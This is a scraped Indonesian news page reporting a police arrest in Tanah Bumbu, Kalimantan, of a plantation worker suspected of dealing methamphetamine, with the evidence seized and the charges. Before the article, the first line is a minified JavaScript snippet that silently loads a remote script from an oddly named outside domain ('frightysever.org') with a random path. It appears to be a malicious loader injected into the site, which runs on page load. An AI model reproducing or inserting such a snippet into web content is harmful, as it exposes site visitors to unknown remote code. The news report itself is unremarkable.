(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Jadi Pengedar Sabu, Buruh Perkebunan Diringkus Satresnarkoba Polres Tanbu


KANALKALIMANTAN.COM, BATULICIN – Satresnarkoba Polres Tanah Bumbu (Tanbu) kembali mengamankan seorang pelaku diduga sebagai pengedar sabu di sebuah rumah, Desa Sebamban Lama, Kecamatan Sungai Loban, Minggu (15/5/2022) malam.

Pelaku adalah DI (31), buruh tani perkebunan asal Desa Sebamban Lama, Kecamatan Sungai Loban.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP H Iberahim Made Rasa yang didampingi Kasat Resnarkoba Iptu A Deni Junainsyah, membenarkan perihal penangkapan tersebut.

“Iya, benar bahwa kemarin malam anggota satuan resnarkoba kembali melakukan penangkapan terhadap diduga sebagai pengedar narkotika berjenis sabu di Desa Sebamban Lama, Kecamatan Sungai Loban,” katanya, kepada awak media, Senin (16/5/2022).

 

Baca juga : BNNK HSU Edukasi Masyarakat P4GN Melalui Amuntai Expo 2022

Dari tangan pelaku, polisi berhasil mendapatkan barang bukti berupa 5 paket sabu seberat 3,32 gram yang siap edar, 1 buah timbangan digital, 1 bungkus plastik klip, 1 unit handphone merk Oppo warna gold, dan uang tunai hasil dari penjualan sebesar Rp500 ribu.

Keberhasilan polisi menangkap pelaku narkoba ini tidak luput dari bantuan informasi dan kerjasama dengan masyarakat setempat dalam hal pemberantasan narkoba di Bumi Bersujud.

Kini pelaku sudah mengakui barang yang di temukan itu adalah benar miliknya, dan bersama barang bukti kini pelaku diamankan di balik jeruji besi rumah tahanan negara Polres Tanah Bumbu guna proses penyidikan lebih lanjut.

“Akibat ulahnya, DI akan dijerat dengan pasal 114 ayat 2 UU Nomor 35 tentang Narkotika dan subsider Pasal 112 Ayat 2, dengan ancaman hukuman minimal enam tahun penjara hingga 20 tahun,” tutup H Iberahim Made Rasa.(kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

10 menit ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

40 menit ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

3 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

6 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

9 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

9 jam ago

This website uses cookies.